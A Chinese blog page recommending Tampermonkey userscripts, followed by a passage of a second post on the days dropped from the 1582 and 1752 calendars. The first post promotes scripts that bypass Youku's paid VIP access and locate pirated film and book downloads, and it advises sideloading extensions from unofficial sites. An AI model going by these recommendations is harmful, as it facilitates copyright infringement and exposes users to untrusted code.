          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  1.5k 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  5 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>我平常工作最常用的浏览器就是 Chrome 了，Google 出品，值得信赖，用 Chrome 就不得不提浏览器扩展了，有了各种 Chrome 扩展，可以让你浏览器网页更方便，工作更高效。</p>
<p>Chrome 扩展可以在 Google 应用商店下载 <a href="https://chrome.google.com/webstore/category/extensions?hl=zh-CN" target="_blank" rel="noopener">https://chrome.google.com/webstore/category/extensions?hl=zh-CN</a><br> 这里可以搜索安装你喜欢的各种扩展。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-83806aeb13a5f7ec.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>比如我装了很多扩展。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-db2bd853fd84b276.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>扩展这么多，其中的油猴<code>Tampermonkey</code> 是必须推荐的一个，它是扩展中的王者，最强大的浏览器扩展。</p>
<h3 id="安装油猴扩展"><a href="#安装油猴扩展" class="headerlink" title="安装油猴扩展"></a>安装油猴扩展</h3><p>油猴是个Chrome扩展，网站 <a href="https://www.tampermonkey.net/" target="_blank" rel="noopener">https://www.tampermonkey.net/</a> 可以直接在官网下载 <a href="https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo?hl=zh-CN" target="_blank" rel="noopener">https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo?hl=zh-CN</a> 直接安装即可。</p>
<p>如果上不了Google，可以在国内第三方Chrome 插件网站<br> <a href="https://www.crx4chrome.com/" target="_blank" rel="noopener">https://www.crx4chrome.com/</a><br><a href="http://chromecj.com/" target="_blank" rel="noopener">http://chromecj.com/</a><br><a href="http://www.cnplugins.com/" target="_blank" rel="noopener">http://www.cnplugins.com/</a><br><a href="https://www.chromefor.com/" target="_blank" rel="noopener">https://www.chromefor.com/</a><br>等搜索下载。下载的是个 crx 文件，然后打开 Chrome 扩展<a href="chrome://extensions/" target="_blank" rel="noopener">chrome://extensions/</a>，打开开发者模式，将下载的crx文件拖进去，如果出错提示程序包无效。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-31cb72f96349278e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>将 crx 后缀改为 zip 再拖进去就能安装成功了，浏览器右上角可以看到图标。</p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-44cc973a50ac5291.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="脚本网站"><a href="#脚本网站" class="headerlink" title="脚本网站"></a>脚本网站</h3><p>有了油猴扩展，还需要配上脚本。<br>安装完扩展后点击图标，选择 获取新脚本<br>会进入网站<a href="https://www.tampermonkey.net/scripts.php" target="_blank" rel="noopener">https://www.tampermonkey.net/scripts.php</a><br>这里可以获取脚本来源，有3个来源网站<br> <a href="http://userscripts-mirror.org/" target="_blank" rel="noopener">http://userscripts-mirror.org/</a><br> <a href="https://openuserjs.org/" target="_blank" rel="noopener">https://openuserjs.org/</a><br><a href="https://greasyfork.org/" target="_blank" rel="noopener">https://greasyfork.org/</a><br>这里推荐 greasyfork ，因为它支持中文。</p>
<p>打开网站首页<a href="https://greasyfork.org/zh-CN" target="_blank" rel="noopener">https://greasyfork.org/zh-CN</a> 可以看到很多脚本。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-4fd8ebc721ec6ae4.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>安装脚本也很简单，找到需要的脚本，进入页面，点击安装，然后管理面板即可看到已安装的脚本。</p>
<p>下面推荐些实用的脚本，开始打开新世界的大门。</p>
<h3 id="搜索去广告"><a href="#搜索去广告" class="headerlink" title="搜索去广告"></a>搜索去广告</h3><p>功能介绍：<br>去掉百度、搜狗、谷歌搜索结果的重定向，回归为网站的原始网址—附带有去除百度的广告 包括百度顶部和底部的垃圾广告，脚本地址<a href="https://greasyfork.org/zh-CN/scripts/14178" target="_blank" rel="noopener">https://greasyfork.org/zh-CN/scripts/14178</a></p>
<p>安装脚本前搜索 浏览器 前面3个是广告<br><img src="https://upload-images.jianshu.io/upload_images/17817191-767ce4850bf4e56a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>安装脚本后的效果，广告没有了，你还可以自定义设置。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-976721d829b0811a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="知乎网页助手"><a href="#知乎网页助手" class="headerlink" title="知乎网页助手"></a>知乎网页助手</h3><p>功能介绍：<br>1、知乎站外链接直接跳转至目标网址；<br>2、自动展开问题全部信息，同时展示所有回答；<br>3、去除知乎网页中的广告；<br>4、知乎网页中短视频下载；<br>5、解除知乎复制限制-划词复制（鼠标左键划词自动添加到剪切板）</p>
<p>脚本地址 <a href="https://greasyfork.org/zh-CN/scripts/384172" target="_blank" rel="noopener">https://greasyfork.org/zh-CN/scripts/384172</a></p>
<p>比如这个周杰伦的视频回答 <a href="https://www.zhihu.com/question/35123246/answer/585795363" target="_blank" rel="noopener">https://www.zhihu.com/question/35123246/answer/585795363</a><br>安装脚本前<br><img src="https://upload-images.jianshu.io/upload_images/17817191-039eee2e1be05aaf.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>安装后视频可以直接下载了。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-cbe0dfc7374c00a7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="微博浮图"><a href="#微博浮图" class="headerlink" title="微博浮图"></a>微博浮图</h3><p>功能介绍：<br>微博浮图控件，鼠标移过小图弹出浮动大图的脚本。<br>脚本地址<a href="https://greasyfork.org/zh-CN/scripts/4233" target="_blank" rel="noopener">https://greasyfork.org/zh-CN/scripts/4233</a><br><img src="https://upload-images.jianshu.io/upload_images/17817191-178f9e1927c35138.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>安装脚本前需要点击小图才能看到大图<br><img src="https://upload-images.jianshu.io/upload_images/17817191-d7e088f1a431a5a5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>安装后效果，不用点击鼠标移上去即可看到大图，其实不限制微博，其他网站的图片一样可以。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-cbcfe0e9a5b34569.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="百度网盘直链下载助手"><a href="#百度网盘直链下载助手" class="headerlink" title="百度网盘直链下载助手"></a>百度网盘直链下载助手</h3><p>功能介绍：<br>免客户端一键获取百度网盘文件真实下载地址，支持使用IDM，迅雷等下载工具下载。<br>安装后会在对应界面出现【下载助手】按钮, 配合多线程下载工具达到提速的效果。脚本地址 <a href="https://greasyfork.org/zh-CN/scripts/39504" target="_blank" rel="noopener">https://greasyfork.org/zh-CN/scripts/39504</a></p>
<p>安装后不用安装网盘客户端就可以直接下载文件。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-fb0b14ace54735f7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="全网VIP视频免费破解"><a href="#全网VIP视频免费破解" class="headerlink" title="全网VIP视频免费破解"></a>全网VIP视频免费破解</h3><p>功能介绍：<br>懒人专用，全网VIP视频免费破解去广告、全网音乐直接下载、百度网盘直接下载、知乎视频下载等多合一版。<br>脚本地址<a href="https://greasyfork.org/zh-CN/scripts/370634" target="_blank" rel="noopener">https://greasyfork.org/zh-CN/scripts/370634</a></p>
<p>打开优酷看《 长安十二时辰》，16集开始需要VIP<a href="https://v.youku.com/v_show/id_XNDI2NTAzNzQzNg==.html" target="_blank" rel="noopener">https://v.youku.com/v_show/id_XNDI2NTAzNzQzNg==.html</a></p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-c24778e570c6098a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br>安装脚本后，点击左侧的VIP可以跳转到VIP解析网站观看。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-ce02a5e40a7a1053.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br><img src="https://upload-images.jianshu.io/upload_images/17817191-3025d52d0a8a276c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"><br> 如果看不了，换接口解析。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-5e9aa344ae0d7217.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<h3 id="豆瓣资源下载大师"><a href="#豆瓣资源下载大师" class="headerlink" title="豆瓣资源下载大师"></a>豆瓣资源下载大师</h3><p>功能介绍：<br>聚合数百家资源网站，通过右侧边栏1秒告诉你哪些网站能下载豆瓣页面上的电影|电视剧|纪录片|综艺|动画|音乐|图书等，有资源的网站显示绿色，没资源的网站显示黄色，就这么直观。</p>
<p>脚本地址 <a href="https://greasyfork.org/zh-CN/scripts/329484" target="_blank" rel="noopener">https://greasyfork.org/zh-CN/scripts/329484</a></p>
<p>看看最近上映的电影《蜘蛛侠：英雄远征》 <a href="https://movie.douban.com/subject/26931786/?from=showing" target="_blank" rel="noopener">https://movie.douban.com/subject/26931786/?from=showing</a><br>右侧可以看到 中文影视字幕和影视精准匹配，可以到对应网站查看。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-0bce294df67b13df.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>更多其他脚本自己搜索吧，有什么问题可以评论交流。</p>
<p>最后推荐一些其他扩展：</p>
<p>Chrome插件英雄榜, 为优秀的Chrome插件写一本中文说明书 <a href="https://github.com/zhaoolee/ChromeAppHeroes/" target="_blank" rel="noopener">https://github.com/zhaoolee/ChromeAppHeroes/</a><br>Chrome浏览器值得推荐的插件（扩展程序）一览<br> <a href="https://fengooge.blogspot.com/2018/12/recommend-plugins-of-Chrome.html" target="_blank" rel="noopener">https://fengooge.blogspot.com/2018/12/recommend-plugins-of-Chrome.html</a>   <a href="https://jsproxy.gq/" target="_blank" rel="noopener">https://jsproxy.gq/</a><br>那些离不开的 Chrome 扩展插件<a href="https://michael728.github.io/2015/11/26/tools-chrome-extentions/" target="_blank" rel="noopener">https://michael728.github.io/2015/11/26/tools-chrome-extentions/</a><br>2019年度最喜欢油猴脚本<a href="https://www.runningcheese.com/userscripts" target="_blank" rel="noopener">https://www.runningcheese.com/userscripts</a><br>浏览器扩展 <a href="https://www.yuque.com/moapp/help/extensions" target="_blank" rel="noopener">https://www.yuque.com/moapp/help/extensions</a><br>45款Chrome插件<a href="http://ybmfx.com/archives/1901" target="_blank" rel="noopener">http://ybmfx.com/archives/1901</a></p>
<p>推荐阅读：</p>
<p><a href="https://mp.weixin.qq.com/s/-cSjrvkibYGp5Fx8gCTFuw" target="_blank" rel="noopener">那些你可能不知道的浏览器奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/eGDO0Y8el_dsEyriCoAgog" target="_blank" rel="noopener">那些你可能不知道的微信奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/j7VhoZXmUTnOWC5C_B8jlQ" target="_blank" rel="noopener">那些你可能不知道的微博奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/LtI2piwAIDXA590NEsXvuw" target="_blank" rel="noopener">那些你可能不知道的网易云音乐奇技淫巧</a></p>
<p> <a href="https://mp.weixin.qq.com/s?__biz=MzIyMjg2ODExMA==&amp;mid=2247483979&amp;idx=1&amp;sn=0735daa1d805b66d346ed0e8e60a841f&amp;scene=21#wechat_redirect" target="_blank" rel="noopener">那些你可能不知道的搜索奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s?__biz=MzIyMjg2ODExMA==&amp;mid=2247483983&amp;idx=1&amp;sn=f0e1d9a8e22caf609d6c21431a530186&amp;chksm=e827a5aedf502cb8b72f2036054753fcfd9c20c28b9fbccdeae619a254a80e1024f18ba06523&amp;token=457023358&amp;lang=zh_CN#rd" target="_blank" rel="noopener">那些你可能不知道的视频下载奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/R3x-xZwqLIVwPjlgikDQ9A" target="_blank" rel="noopener">那些你可能不知道的免费观看 VIP 视频奇技淫巧</a></p>
<p><a href="https://mp.weixin.qq.com/s/sqRgMh4rxFBt5YxNtaa6dw" target="_blank" rel="noopener">那些你可能不知道的知乎奇技淫巧</a></p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-393b26173c148690.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="免费星球"></p>
<h3 id="公众号：苏生不惑"><a href="#公众号：苏生不惑" class="headerlink" title="公众号：苏生不惑"></a>公众号：苏生不惑</h3><p> <img src="https://upload-images.jianshu.io/upload_images/17817191-6e0079f95d4c0338.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="扫描二维码关注"></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/07/16/历史上消失的10天去哪了？/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/07/16/历史上消失的10天去哪了？/" itemprop="url">历史上消失的10天去哪了？</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-07-16T20:08:06+08:00">
                2019-07-16
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  2.3k 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  10 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>如果你查过万年历，会发现1582年居然少了10天！<a href="http://wannianli.fkcha.com/year_1582_month_10.html" target="_blank" rel="noopener">http://wannianli.fkcha.com/year_1582_month_10.html</a></p>
<p><img src="https://upload-images.jianshu.io/upload_images/17817191-532a918323908f79.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p><code>Linux</code>上有个<code>cal</code>命令可以查日历，如果你查过<code>1752</code>年，可能会奇怪，为什么9月2号后面是14号，却是丢失了<code>11</code>天！</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br><span class="line">[root@root ~]# cal 1752</span><br><span class="line">                               <span class="number">1752</span></span><br><span class="line"></span><br><span class="line">       January               February                 March</span><br><span class="line">Su Mo Tu We Th Fr Sa   Su Mo Tu We Th Fr Sa   Su Mo Tu We Th Fr Sa</span><br><span class="line">          <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>                      <span class="number">1</span>    <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span></span><br><span class="line"> <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span>    <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>    <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span><br><span class="line"><span class="number">12</span> <span class="number">13</span> <span class="number">14</span> <span class="number">15</span> <span class="number">16</span> <span class="number">17</span> <span class="number">18</span>    <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span> <span class="number">15</span>   <span class="number">15</span> <span class="number">16</span> <span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">20</span> <span class="number">21</span></span><br><span class="line"><span class="number">19</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span> <span class="number">23</span> <span class="number">24</span> <span class="number">25</span>   <span class="number">16</span> <span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span>   <span class="number">22</span> <span class="number">23</span> <span class="number">24</span> <span class="number">25</span> <span class="number">26</span> <span class="number">27</span> <span class="number">28</span></span><br><span class="line"><span class="number">26</span> <span class="number">27</span> <span class="number">28</span> <span class="number">29</span> <span class="number">30</span> <span class="number">31</span>      <span class="number">23</span> <span class="number">24</span> <span class="number">25</span> <span class="number">26</span> <span class="number">27</span> <span class="number">28</span> <span class="number">29</span>   <span class="number">29</span> <span class="number">30</span> <span class="number">31</span></span><br><span class="line"></span><br><span class="line">        April                   May                   June</span><br><span class="line">Su Mo Tu We Th Fr Sa   Su Mo Tu We Th Fr Sa   Su Mo Tu We Th Fr Sa</span><br><span class="line">          <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>                   <span class="number">1</span>  <span class="number">2</span>       <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span></span><br><span class="line"> <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span>    <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span>    <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span></span><br><span class="line"><span class="number">12</span> <span class="number">13</span> <span class="number">14</span> <span class="number">15</span> <span class="number">16</span> <span class="number">17</span> <span class="number">18</span>   <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span> <span class="number">15</span> <span class="number">16</span>   <span class="number">14</span> <span class="number">15</span> <span class="number">16</span> <span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">20</span></span><br><span class="line"><span class="number">19</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span> <span class="number">23</span> <span class="number">24</span> <span class="number">25</span>   <span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span> <span class="number">23</span>   <span class="number">21</span> <span class="number">22</span> <span class="number">23</span> <span class="number">24</span> <span class="number">25</span> <span class="number">26</span> <span class="number">27</span></span><br><span class="line"><span class="number">26</span> <span class="number">27</span> <span class="number">28</span> <span class="number">29</span> <span class="number">30</span>         <span class="number">24</span> <span class="number">25</span> <span class="number">26</span> <span class="number">27</span> <span class="number">28</span> <span class="number">29</span> <span class="number">30</span>   <span class="number">28</span> <span class="number">29</span> <span class="number">30</span></span><br><span class="line">                       <span class="number">31</span></span><br><span class="line">        July                  August                September</span><br><span class="line">Su Mo Tu We Th Fr Sa   Su Mo Tu We Th Fr Sa   Su Mo Tu We Th Fr Sa</span><br><span class="line">          <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>                      <span class="number">1</span>          <span class="number">1</span>  <span class="number">2</span> <span class="number">14</span> <span class="number">15</span> <span class="number">16</span></span><br><span class="line"> <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span>    <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>   <span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span> <span class="number">23</span></span><br><span class="line"><span class="number">12</span> <span class="number">13</span> <span class="number">14</span> <span class="number">15</span> <span class="number">16</span> <span class="number">17</span> <span class="number">18</span>    <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span> <span class="number">15</span>   <span class="number">24</span> <span class="number">25</span> <span class="number">26</span> <span class="number">27</span> <span class="number">28</span> <span class="number">29</span> <span class="number">30</span></span><br><span class="line"><span class="number">19</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span> <span class="number">23</span> <span class="number">24</span> <span class="number">25</span>   <span class="number">16</span> <span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span></span><br><span class="line"><span class="number">26</span> <span class="number">27</span> <span class="number">28</span> <span class="number">29</span> <span class="number">30</span> <span class="number">31</span>      <span class="number">23</span> <span class="number">24</span> <span class="number">25</span> <span class="number">26</span> <span class="number">27</span> <span class="number">28</span> <span class="number">29</span></span><br><span class="line">                       <span class="number">30</span> <span class="number">31</span></span><br><span class="line">       October               November               December</span><br><span class="line">Su Mo Tu We Th Fr Sa   Su Mo Tu We Th Fr Sa   Su Mo Tu We Th Fr Sa</span><br><span class="line"> <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>             <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>                   <span class="number">1</span>  <span class="number">2</span></span><br><span class="line"> <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span>    <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span>    <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span></span><br><span class="line"><span class="number">15</span> <span class="number">16</span> <span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">20</span> <span class="number">21</span>   <span class="number">12</span> <span class="number">13</span> <span class="number">14</span> <span class="number">15</span> <span class="number">16</span> <span class="number">17</span> <span class="number">18</span>   <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span> <span class="number">15</span> <span class="number">16</span></span><br><span class="line"><span class="number">22</span> <span class="number">23</span> <span class="number">24</span> <span class="number">25</span> <span class="number">26</span> <span class="number">27</span> <span class="number">28</span>   <span class="number">19</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span> <span class="number">23</span> <span class="number">24</span> <span class="number">25</span>   <span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">20</span> <span class="number">21</span> <span class="number">22</span> <span class="number">23</span></span><br><span class="line"><span class="number">29</span> <span class="number">30</span> <span class="number">31</span>               <span class="number">26</span> <span class="number">27</span> <span class="number">28</span> <span class="number">29</span> <span class="number">30</span>         <span class="number">24</span> <span class="number">25</span> <span class="number">26</span> <span class="number">27</span> <span class="number">28</span> <span class="number">29</span> <span class="number">30</span></span><br><span class="line">                                              <span class="number">31</span></span><br></pre></td></tr></table></figure>
<p>原来是 1582 年格里历法将 10 月 5 日到 10 月 14 日直接抹掉了 ，见维基百科 <a href="https://zh.wikipedia.org/zh-cn/%E6%A0%BC%E9%87%8C%E6%9B%86" target="_blank" rel="noopener">https://zh.wikipedia.org/zh-cn/%E6%A0%BC%E9%87%8C%E6%9B%86</a></p>
<blockquote>
<p>格里历（拉丁语：Calendarium Gregorianum，又译国瑞历、额我略历、格列高利历、格里高利历、葛瑞格里历、格列高历，也称基督历 ），是由意大利医生兼哲学家阿洛伊修斯·里利乌斯改革儒略历制定的历法，由罗马大公教会教宗额我略十三世在1582年颁行。公历是阳历的一种，于1912年在中国引进采用，因农历等中国传统历法是阴阳历，故公历在中文中又称阳历、西历、新历、公历。格里历与儒略历一样，格里历也是每四年在2月底置一闰日，但格里历特别规定，除非能被400整除，所有的世纪年（能被100整除）都不设闰日；如此，每四百年，格里历仅有97个闰年，比儒略历减少3个闰年  。</p>
</blockquote>
<blockquote>
<p>格里历的历年平均长度为365.2425日，接近平均回归年的365.242199074日，即每3300年误差一日，也更接近春分点回归年的365.24237日，即每8000年误差一日；而儒略历的历年为365.25日，每128年就误差一日 。到1582年时，儒略历的春分日（3月21日）与地球公转到春分点的实际时间已相差10天。因此，格里历开始实行时，将儒略历1582年10月4日星期四的次日，为格里历1582年10月15日星期五，即有10天被删除，但原星期的周期保持不变。格里历的纪年沿用儒略历，当年定历以耶稣诞生年开始起算（但考证是公元前4年出生，但此记数法沿用至今），称为“公元”。</p>
</blockquote>
<p>1582,好熟悉的年份，如果你看过《万历十五年》应该知道，这一年是万历十年，一代名臣张居正过世，推行10年的一条鞭法也宣告结束，好不容易出现的大明中兴苗头就这样又被压下去，万历三十年不上朝，从此大明开始走下坡路，直到1644甲申国难，崇祯自缢煤山，最后一个汉人王朝大明结束了，所以才有“明实亡于万历”这一说法。<br><img src="https://upload-images.jianshu.io/upload_images/17817191-6a4f0c9d19d6f067.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image.png"></p>
<p>但如果你在Linux上查看1582的日历，发现并没有丢失那10天?<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">[root@root ~]# cal 1582</span><br><span class="line">                               <span class="number">1582</span></span><br><span class="line"></span><br><span class="line">       January               February                 March</span><br><span class="line">Su Mo Tu We Th Fr Sa   Su Mo Tu We Th Fr Sa   Su Mo Tu We Th Fr Sa</span><br><span class="line">    <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>                <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>                <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span></span><br><span class="line"> <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span>    <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span>    <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span></span><br><span class="line"><span class="number">14</span> <span class="number">15</span> <span class="number">16</span> <span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">20</span>   <span class="number">11</span> <span class="number">12</span> <span 